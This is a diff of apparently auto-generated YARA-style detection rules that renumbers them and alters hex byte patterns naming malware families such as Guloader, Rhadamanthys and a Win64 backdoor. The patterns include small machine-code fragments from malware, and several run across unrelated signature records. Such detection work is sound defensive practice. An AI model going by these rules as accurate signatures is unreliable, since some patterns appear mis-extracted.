+126805,7 @@ rule _InfrastructureShared_10877{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10878{ +rule _InfrastructureShared_11581{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -118979,7 +126815,7 @@ rule _InfrastructureShared_10878{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10879{ +rule _InfrastructureShared_11582{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -118989,7 +126825,7 @@ rule _InfrastructureShared_10879{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10880{ +rule _InfrastructureShared_11583{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -118999,7 +126835,7 @@ rule _InfrastructureShared_10880{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10881{ +rule _InfrastructureShared_11584{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -119009,7 +126845,7 @@ rule _InfrastructureShared_10881{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10882{ +rule _InfrastructureShared_11585{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -119019,7 +126855,7 @@ rule _InfrastructureShared_10882{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_10883{ +rule _InfrastructureShared_11586{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -119030,7 +126866,7 @@ rule _InfrastructureShared_10883{ ((#a_54_0 & 1)*18467+(#a_03_1 & 1)*-28539) >=1 } -rule _InfrastructureShared_10884{ +rule _InfrastructureShared_11587{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -119041,7 +126877,7 @@ rule _InfrastructureShared_10884{ ((#a_54_0 & 1)*18467+(#a_33_1 & 1)*12901) >=1 } -rule _InfrastructureShared_10885{ +rule _InfrastructureShared_11588{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -119052,7 +126888,7 @@ rule _InfrastructureShared_10885{ ((#a_46_0 & 1)*21283+(#a_90_1 & 1)*1025) >=1 } -rule _InfrastructureShared_10886{ +rule _InfrastructureShared_11589{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -119063,7 +126899,7 @@ rule _InfrastructureShared_10886{ ((#a_4c_0 & 1)*21539+(#a_32_1 & 1)*-16029) >=1 } -rule _InfrastructureShared_10887{ +rule _InfrastructureShared_11590{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -119075,7 +126911,7 @@ rule _InfrastructureShared_10887{ ((#a_46_0 & 1)*21283+(#a_f3_1 & 1)*3199+(#a_6f_2 & 1)*16641) >=1 } -rule _InfrastructureShared_10888{ +rule _InfrastructureShared_11591{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -119086,7 +126922,7 @@ rule _InfrastructureShared_10888{ ((#a_46_0 & 1)*21283+(#a_21_1 & 1)*-197) >=1 } -rule _InfrastructureShared_10889{ +rule _InfrastructureShared_11592{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -119099,7 +126935,7 @@ rule _InfrastructureShared_10889{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*3841+(#a_00_2 & 1)*46+(#a_00_3 & 1)*57) >=1 } -rule _InfrastructureShared_10890{ +rule _InfrastructureShared_11593{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -119110,7 +126946,7 @@ rule _InfrastructureShared_10890{ ((#a_54_0 & 1)*18467+(#a_31_2 & 1)*5632) >=1 } -rule _InfrastructureShared_10891{ +rule _InfrastructureShared_11594{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -119124,7 +126960,7 @@ rule _InfrastructureShared_10891{ ((#a_6f_0 & 1)*21539+(#a_2f_1 & 1)*28525+(#a_00_2 & 1)*-248+(#a_04_3 & 1)*-28511+(#a_04_4 & 1)*-28659) >=1 } -rule _InfrastructureShared_10892{ +rule _InfrastructureShared_11595{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -119135,7 +126971,7 @@ rule _InfrastructureShared_10892{ ((#a_46_0 & 1)*16675+(#a_f7_1 & 1)*18898) >=2 } -rule _InfrastructureShared_10893{ +rule _InfrastructureShared_11596{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -119146,7 +126982,7 @@ rule _InfrastructureShared_10893{ ((#a_46_0 & 1)*16675+(#a_a1_1 & 1)*400) >=2 } -rule _InfrastructureShared_10894{ +rule _InfrastructureShared_11597{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -119157,7 +126993,7 @@ rule _InfrastructureShared_10894{ ((#a_46_0 & 1)*16675+(#a_c4_1 & 1)*-1909) >=2 } -rule _InfrastructureShared_10895{ +rule _InfrastructureShared_11598{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -119168,7 +127004,7 @@ rule _InfrastructureShared_10895{ ((#a_46_0 & 1)*16675+(#a_5d_1 & 1)*2185) >=2 } -rule _InfrastructureShared_10896{ +rule _InfrastructureShared_11599{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -119179,7 +127015,7 @@ rule _InfrastructureShared_10896{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*12851) >=2 } -rule _InfrastructureShared_10897{ +rule _InfrastructureShared_11600{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -119189,7 +127025,7 @@ rule _InfrastructureShared_10897{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_10898{ +rule _InfrastructureShared_11601{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -119199,7 +127035,7 @@ rule _InfrastructureShared_10898{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_10899{ +rule _InfrastructureShared_11602{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -119209,7 +127045,7 @@ rule _InfrastructureShared_10899{ ((#a_46_0 & 1)*21283) >=2 } -rule _InfrastructureShared_10900{ +rule _InfrastructureShared_11603{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -119221,7 +127057,7 @@ rule _InfrastructureShared_10900{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*801+(#a_79_2 & 1)*24942) >=2 } -rule _InfrastructureShared_10901{ +rule _InfrastructureShared_11604{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -119232,7 +127068,7 @@ rule _InfrastructureShared_10901{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25959) >=2 } -rule _InfrastructureShared_10902{ +rule _InfrastructureShared_11605{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -119243,7 +127079,7 @@ rule _InfrastructureShared_10902{ ((#a_4e_0 & 1)*20259+(#a_00_1 & 1)*114) >=2 } -rule _InfrastructureShared_10903{ +rule _InfrastructureShared_11606{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -119256,7 +127092,7 @@ rule _InfrastructureShared_10903{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29773+(#a_33_2 & 1)*24833+(#a_65_3 & 1)*21295) >=2 } -rule _InfrastructureShared_10904{ +rule _InfrastructureShared_11607{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -119269,7 +127105,7 @@ rule _InfrastructureShared_10904{ ((#a_54_0 & 1)*18467+(#a_d2_1 & 1)*257+(#a_f8_2 & 1)*-14584+(#a_3c_3 & 1)*656) >=2 } -rule _InfrastructureShared_10905{ +rule _InfrastructureShared_11608{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -119282,24 +127118,34 @@ rule _InfrastructureShared_10905{ ((#a_4c_0 & 1)*21539+(#a_90_1 & 1)*12591+(#a_63_2 & 1)*5376+(#a_90_3 & 1)*25705) >=2 } -rule _InfrastructureShared_10906{ +rule _InfrastructureShared_11609{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 08 00 21 " strings : $a_54_0 = {3a 4d 69 6e 47 57 46 69 6c 65 00 01 00 06 00 4c 49 42 47 43 43 01 00 07 00 4d 49 4e 47 57 33 32 01 00 09 00 6d 69 6e 67 77 2d 77 36 34 01 00 0b 01 2f 67 63 63 2f 63 6f 6e 66 69 67 01 00 09 01 2f 73 72 63 2f 67 63 63 2f 02 00 0e 01 6d 69 6e 67 77 2f } //18467 - $a_2f_1 = {63 63 2f 01 00 13 01 2f 6d 69 6e 67 77 2f 73 68 61 72 65 2f 6c 6f 63 61 6c 65 01 00 1a 01 47 43 43 2d 90 0f 01 00 2d 90 10 02 00 2d 62 75 69 6c 64 2f 73 72 63 2f 90 00 00 00 78 9e 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 50 65 70 74 69 63 53 74 75 } //26988 - $a_43_2 = {64 68 61 00 01 00 2d 03 48 83 fb 07 0f 85 90 01 04 41 81 39 65 78 65 63 90 02 03 0f 85 90 01 04 66 41 81 79 04 75 74 0f 85 90 01 04 41 80 } //29806 - $a_0f_3 = {85 90 00 01 00 21 03 41 81 39 67 65 74 66 0f 85 90 01 04 66 41 81 79 04 69 6c 0f 85 90 01 04 41 80 79 06 65 0f 85 90 00 01 00 15 03 48 83 fb 08 0f 85 90 01 04 49 ba 73 65 6e 64 66 69 6c 65 90 00 00 00 78 9e 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 59 32 56 3a 4d 69 63 72 6f 73 6f 66 74 2f 54 72 6f 6a } //1657 - $a_57_4 = {6e 33 32 5f 44 69 70 73 69 6e 64 5f 42 00 01 00 37 03 04 01 00 00 33 c0 f2 ae f7 d1 2b f9 8b c1 8b f7 8b fa c1 e9 02 f3 a5 8b c8 83 e1 03 f3 a4 8b 4d ec 8b 15 90 01 04 89 91 90 01 01 07 00 00 90 0a 2a 00 8d 90 90 90 00 01 00 11 01 68 a1 86 01 00 c1 e9 02 f3 ab 8b ca 83 e1 03 f3 aa 01 } //28257 - $a_c0_5 = {07 } //5888 - $a_c1_6 = {c8 32 d0 c0 e9 07 d0 e0 0a c8 } //-7728 - $a_f1_7 = {00 00 78 9e 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 51 21 4d 54 42 00 01 00 21 01 46 46 58 49 56 5f 4e 65 78 75 73 5f 50 72 6f 67 72 65 73 73 2e 4d 79 2e 52 65 73 6f 75 72 63 65 73 01 00 23 01 46 46 58 49 56 5f 4e 65 78 75 73 5f 50 72 6f 67 72 65 73 73 2e 4d 61 69 6e 2e 72 65 73 6f 75 72 63 65 73 01 00 28 01 46 46 58 49 56 5f } //-13774 + $a_2f_1 = {63 63 2f 01 00 13 01 2f 6d 69 6e 67 77 2f 73 68 61 72 65 2f 6c 6f 63 61 6c 65 01 00 1a 01 47 43 43 2d 90 0f 01 00 2d 90 10 02 00 2d 62 75 69 6c 64 2f 73 72 63 2f 90 00 00 00 78 9e 00 00 03 00 03 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 4c 4d 45 21 4d 54 } //26988 + $a_00_2 = {2a 01 } //66 Ī + $a_48_3 = {d5 0f b6 0a 83 e1 0f 4a 0f be 84 31 08 ce 02 00 42 8a } //25417 + $a_ce_4 = {00 48 2b d0 44 8b 52 fc 41 d3 ea 45 85 d2 01 00 44 03 b8 08 00 00 00 48 } //12684 + $a_04_6 = {48 } //-28659 H + $a_02_7 = {00 } //1223 condition: - ((#a_54_0 & 1)*18467+(#a_2f_1 & 1)*26988+(#a_43_2 & 1)*29806+(#a_0f_3 & 1)*1657+(#a_57_4 & 1)*28257+(#a_c0_5 & 1)*5888+(#a_c1_6 & 1)*-7728+(#a_f1_7 & 1)*-13774) >=2 + ((#a_54_0 & 1)*18467+(#a_2f_1 & 1)*26988+(#a_00_2 & 1)*66+(#a_48_3 & 1)*25417+(#a_ce_4 & 1)*12684+(#a_04_6 & 1)*-28659+(#a_02_7 & 1)*1223) >=2 } -rule _InfrastructureShared_10907{ +rule _InfrastructureShared_11610{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 4c 4d 45 21 4d 54 42 00 02 00 2a 01 49 63 12 48 03 d5 0f b6 0a 83 e1 0f 4a 0f be 84 31 08 ce 02 00 42 8a 8c 31 18 ce 02 00 48 2b d0 44 8b 52 fc 41 d3 ea } //21539 + $a_01_1 = {00 44 03 b8 08 00 00 00 48 6b c0 00 48 8d 0d 90 01 04 48 c7 04 01 02 00 00 00 b8 08 00 00 00 48 6b c0 00 48 8b 0d 90 01 04 48 89 4c 04 20 b8 08 00 00 00 48 6b c0 01 48 8b 0d 90 01 04 48 89 4c 04 20 48 8d 0d 90 00 00 00 78 9e 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 50 65 70 74 69 63 53 74 75 6e 74 2e 43 21 64 68 61 00 01 00 2d 03 48 83 fb 07 0f 85 90 01 04 41 81 39 65 78 65 63 90 02 03 0f 85 90 01 04 66 41 81 79 04 75 74 0f 85 90 01 04 41 80 79 06 65 0f 85 90 00 01 00 21 03 41 81 39 67 65 74 66 0f 85 90 01 04 66 41 81 79 04 69 6c 0f 85 90 01 04 41 80 79 06 65 0f 85 90 00 01 00 } //-31419 + condition: + ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*-31419) >=3 + +} +rule _InfrastructureShared_11611{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -119311,7 +127157,7 @@ rule _InfrastructureShared_10907{ ((#a_46_0 & 1)*16675+(#a_85_1 & 1)*25862+(#a_41_2 & 1)*1025) >=3 } -rule _InfrastructureShared_10908{ +rule _InfrastructureShared_11612{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -119323,7 +127169,7 @@ rule _InfrastructureShared_10908{ ((#a_46_0 & 1)*16675+(#a_89_1 & 1)*400+(#a_0a_2 & 1)*0) >=3 } -rule _InfrastructureShared_10909{ +rule _InfrastructureShared_11613{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -119335,7 +127181,7 @@ rule _InfrastructureShared_10909{ ((#a_54_0 & 1)*18467+(#a_4d_1 & 1)*29555+(#a_73_2 & 1)*29230) >=3 } -rule _InfrastructureShared_10910{ +rule _InfrastructureShared_11614{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -119347,7 +127193,7 @@ rule _InfrastructureShared_10910{ ((#a_54_0 & 1)*18467+(#a_01_2 & 1)*-29880+(#a_80_3 & 1)*1) >=3 } -rule _InfrastructureShared_10911{ +rule _InfrastructureShared_11615{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -119358,12 +127204,12 @@ rule _InfrastructureShared_10911{ $a_fe_3 = {7e 03 d0 83 f0 ff 33 c2 83 c1 04 a9 00 01 01 81 01 00 1c 03 81 7c 19 fc cc cc cc cc 75 90 01 01 8b 54 38 04 03 d1 81 3c 1a cc cc cc cc 74 90 00 01 00 1b 03 f7 c7 03 00 00 00 75 90 01 01 c1 e9 02 83 e2 03 83 f9 08 72 90 01 01 f3 a5 90 00 01 00 16 03 03 c8 81 e1 ff 00 00 80 79 90 01 01 49 81 c9 00 ff ff ff 41 90 00 00 00 78 9e 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4c 4b 51 31 32 33 21 4d 54 42 00 01 00 0b 81 01 73 6d 61 61 76 69 6c 64 74 65 74 01 00 2d 81 01 62 72 65 76 74 65 6b 73 74 65 6e 20 73 74 61 74 69 73 74 69 6b 70 72 6f 67 72 61 6d 6d 65 72 6e 65 73 20 62 79 6f 72 64 69 6e 61 72 79 01 00 20 81 01 6a 75 73 74 69 66 69 61 62 6c 79 20 75 6e 64 74 61 67 65 6c 73 65 73 74 69 6c 73 74 61 6e 64 65 01 } //-17920 $a_01_4 = {73 6b 6f 68 6f 72 6e 73 00 00 78 9e 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 53 41 45 31 32 33 21 4d 54 42 00 01 00 1b 81 01 75 6e 63 72 69 6d 69 6e 61 6c 20 6e 61 7a 69 66 69 63 65 72 69 6e 67 65 72 6e 65 01 00 07 81 01 6c 6f 6f 73 69 73 68 01 00 13 81 01 67 6f 6c 64 65 6e 62 61 63 6b 20 73 6f 72 70 74 69 6f 6e 01 00 2b 81 01 72 65 } //2048 $a_65_5 = {69 6e 67 65 72 6e 65 20 61 6e 74 69 63 68 72 6f 6e 69 73 6d 20 61 72 62 65 6a 64 73 6b 6f 70 69 65 72 6e 65 00 00 78 9e 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 59 54 45 31 32 33 21 4d 54 42 00 01 00 22 81 01 64 61 6d 61 73 63 65 6e 65 72 65 6e 20 71 75 69 6e 69 62 6c 65 20 6a 6f 6b 65 72 74 } //30054 - $a_65_6 = {73 01 00 0e 81 01 6c 65 76 65 6e 64 65 67 72 65 6c 73 65 73 01 00 1c 81 01 67 75 61 79 6d 69 65 20 69 6e 6e 6f 6d 69 6e 61 62 6c 65 73 20 66 69 73 68 66 75 6c 01 00 14 81 01 75 68 79 72 6c 69 67 65 72 65 20 67 72 65 79 68 6f 75 6e 64 00 00 78 9e 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 49 } //26469 + $a_65_6 = {73 01 00 0e 81 01 6c 65 76 65 6e 64 65 67 72 65 6c 73 65 73 01 00 1c 81 01 67 75 61 79 6d 69 65 20 69 6e 6e 6f 6d 69 6e 61 62 6c 65 73 20 66 69 73 68 66 75 6c 01 00 14 81 01 75 68 79 72 6c 69 67 65 72 65 20 67 72 65 79 68 6f 75 6e 64 00 00 78 9e 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 52 } //26469 condition: ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29811+(#a_65_2 & 1)*384+(#a_fe_3 & 1)*-17920+(#a_01_4 & 1)*2048+(#a_65_5 & 1)*30054+(#a_65_6 & 1)*26469) >=3 } -rule _InfrastructureShared_10912{ +rule _InfrastructureShared_11616{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -119375,7 +127221,7 @@ rule _InfrastructureShared_10912{ ((#a_46_0 & 1)*16675+(#a_1a_1 & 1)*-32303+(#a_00_3 & 1)*30720) >=4 } -rule _InfrastructureShared_10913{ +rule _InfrastructureShared_11617{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -119388,32 +127234,43 @@ rule _InfrastructureShared_10913{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*25120+(#a_63_2 & 1)*26217+(#a_54_3 & 1)*18467) >=4 } -rule _InfrastructureShared_10914{ +rule _InfrastructureShared_11618{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 53 41 45 31 32 33 21 4d 54 42 00 01 00 1b 81 01 75 6e 63 72 69 6d 69 6e 61 6c 20 6e 61 7a 69 66 69 63 65 72 69 6e 67 65 72 6e 65 01 00 07 81 01 6c 6f 6f 73 69 73 68 01 00 13 81 01 67 6f 6c 64 65 6e } //18467 $a_6b_1 = {73 6f 72 70 74 69 6f 6e 01 00 2b 81 01 72 65 66 75 73 65 72 69 6e 67 65 72 6e 65 20 61 6e 74 69 63 68 72 6f 6e 69 73 6d 20 61 72 62 65 6a 64 73 6b 6f 70 69 65 72 6e 65 00 00 78 9e 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 59 54 45 31 32 33 21 4d } //24930 - $a_01_3 = {64 61 6d 61 73 63 65 6e 65 72 65 6e 20 71 75 69 6e 69 62 6c 65 20 6a 6f 6b 65 72 74 65 67 6e 65 74 73 01 00 0e 81 01 6c 65 76 65 6e 64 65 67 72 65 6c 73 65 73 01 00 1c 81 01 67 75 61 79 6d 69 65 20 69 6e 6e 6f 6d 69 6e 61 62 6c 65 73 20 66 69 73 68 66 75 6c 01 00 14 81 01 75 68 79 72 6c 69 67 65 72 65 20 67 72 65 79 68 6f 75 6e 64 00 00 78 9e 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a } //8704 + $a_01_3 = {64 61 6d 61 73 63 65 6e 65 72 65 6e 20 71 75 69 6e 69 62 6c 65 20 6a 6f 6b 65 72 74 65 67 6e 65 74 73 01 00 0e 81 01 6c 65 76 65 6e 64 65 67 72 65 6c 73 65 73 01 00 1c 81 01 67 75 61 79 6d 69 65 20 69 6e 6e 6f 6d 69 6e 61 62 6c 65 73 20 66 69 73 68 66 75 6c 01 00 14 81 01 75 68 79 72 6c 69 67 65 72 65 20 67 72 65 79 68 6f 75 6e 64 00 00 78 9e 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a } //8704 condition: ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*24930+(#a_01_3 & 1)*8704) >=4 } -rule _InfrastructureShared_10915{ +rule _InfrastructureShared_11619{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 59 54 45 31 32 33 21 4d 54 42 00 01 00 22 81 01 64 61 6d 61 73 63 65 6e 65 72 65 6e 20 71 75 69 6e 69 62 6c 65 20 6a 6f 6b 65 72 74 65 67 6e 65 74 73 01 00 0e 81 01 6c 65 76 65 6e 64 65 67 72 65 6c } //18467 - $a_01_1 = {00 1c 81 01 67 75 61 79 6d 69 65 20 69 6e 6e 6f 6d 69 6e 61 62 6c 65 73 20 66 69 73 68 66 75 6c 01 00 14 81 01 75 68 79 72 6c 69 67 65 72 65 20 67 72 65 79 68 6f 75 6e 64 00 00 78 9e 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 49 6e 73 74 61 6c 6c 55 6e 69 6f 6e 2e 4b 50 21 4d 54 42 00 01 00 10 80 01 47 65 } //25971 - $a_69_2 = {53 65 74 75 70 2e 65 78 65 01 00 0f 80 01 21 6e 62 73 70 5f 69 6e 6a 65 63 74 69 6f 6e 01 00 20 80 01 67 6e 70 6c 68 61 68 62 63 6f 6c 64 62 69 6c 64 66 66 64 63 68 6e 65 61 65 70 61 70 63 63 62 6e 01 00 0b 80 01 67 65 6f 2f 67 65 6f 2e 70 68 70 01 00 0c 80 01 69 6e 73 74 61 6c 6c 4f 66 66 65 72 00 00 78 9e 00 00 05 00 05 00 05 00 21 23 41 } //25966 - $a_54_3 = {6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 61 6c 6c 6f 78 2e 53 41 21 4d 54 42 00 01 00 0c 81 01 44 6f 77 6e 6c 6f 61 64 44 61 74 61 01 00 07 81 01 68 74 74 70 3a 2f 2f 01 00 0a 81 01 } //17996 + $a_01_1 = {00 1c 81 01 67 75 61 79 6d 69 65 20 69 6e 6e 6f 6d 69 6e 61 62 6c 65 73 20 66 69 73 68 66 75 6c 01 00 14 81 01 75 68 79 72 6c 69 67 65 72 65 20 67 72 65 79 68 6f 75 6e 64 00 00 78 9e 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 52 68 61 64 61 6d 61 6e 74 68 79 73 2e 41 48 42 21 4d 54 42 00 03 00 30 03 48 63 } //25971 + $a_48_2 = {7c 24 20 69 14 97 90 01 04 89 d7 c1 ef 18 31 d7 69 d7 90 01 04 44 69 74 24 48 90 01 04 41 31 d6 8b 6c 24 4c 83 c5 01 90 00 02 00 36 03 0f b6 04 37 42 0f b6 0c 33 01 c1 0f b6 c1 48 8b 4d b0 8a 04 01 48 63 4d f4 48 8b 55 88 30 04 } //9300 + $a_f4_3 = {c0 01 89 45 e0 8b 05 90 01 04 8d 48 ff 0f af c8 90 00 00 00 78 9e 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 49 6e 73 74 61 6c 6c 55 6e 69 6f 6e 2e 4b 50 21 4d 54 42 00 } //-29942 condition: - ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25971+(#a_69_2 & 1)*25966+(#a_54_3 & 1)*17996) >=4 + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25971+(#a_48_2 & 1)*9300+(#a_f4_3 & 1)*-29942) >=4 } -rule _InfrastructureShared_10916{ +rule _InfrastructureShared_11620{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 52 68 61 64 61 6d 61 6e 74 68 79 73 2e 41 48 42 21 4d 54 42 00 03 00 30 03 48 63 54 24 4c 48 8b 7c 24 20 69 14 97 90 01 04 89 d7 c1 ef 18 31 d7 69 d7 90 01 04 44 69 74 } //21539 + $a_01_1 = {04 41 31 d6 8b 6c 24 4c 83 c5 01 90 00 02 00 36 03 0f b6 04 37 42 0f b6 0c 33 01 c1 0f b6 c1 48 8b 4d b0 8a 04 01 48 63 4d f4 48 8b 55 88 30 04 0a 8b 45 f4 83 c0 01 89 45 e0 8b 05 90 01 04 8d 48 ff 0f af c8 90 00 00 00 78 9e 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 49 6e 73 74 61 6c 6c 55 6e 69 6f 6e 2e 4b 50 21 4d 54 42 00 01 00 10 80 01 47 65 6e 65 72 69 63 53 65 74 75 70 2e 65 78 65 01 } //18468 + condition: + ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*18468) >=5 + +} +rule _InfrastructureShared_11621{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -119427,7 +127284,7 @@ rule _InfrastructureShared_10916{ ((#a_46_0 & 1)*16675+(#a_67_1 & 1)*-32736+(#a_68_2 & 1)*26732+(#a_00_3 & 1)*21581+(#a_41_4 & 1)*17217) >=5 } -rule _InfrastructureShared_10917{ +rule _InfrastructureShared_11622{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -119441,7 +127298,7 @@ rule _InfrastructureShared_10917{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*28261+(#a_43_2 & 1)*31088+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 } -rule _InfrastructureShared_10918{ +rule _InfrastructureShared_11623{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -119453,7 +127310,7 @@ rule _InfrastructureShared_10918{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*28787+(#a_54_2 & 1)*16735) >=5 } -rule _InfrastructureShared_10919{ +rule _InfrastructureShared_11624{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -119461,27 +127318,55 @@ rule _InfrastructureShared_10919{ $a_46_0 = {59 32 56 3a 46 61 63 65 62 6f 6f 6b 2f 45 58 54 5f 41 50 54 33 32 5f 67 6f 6f 70 64 61 74 65 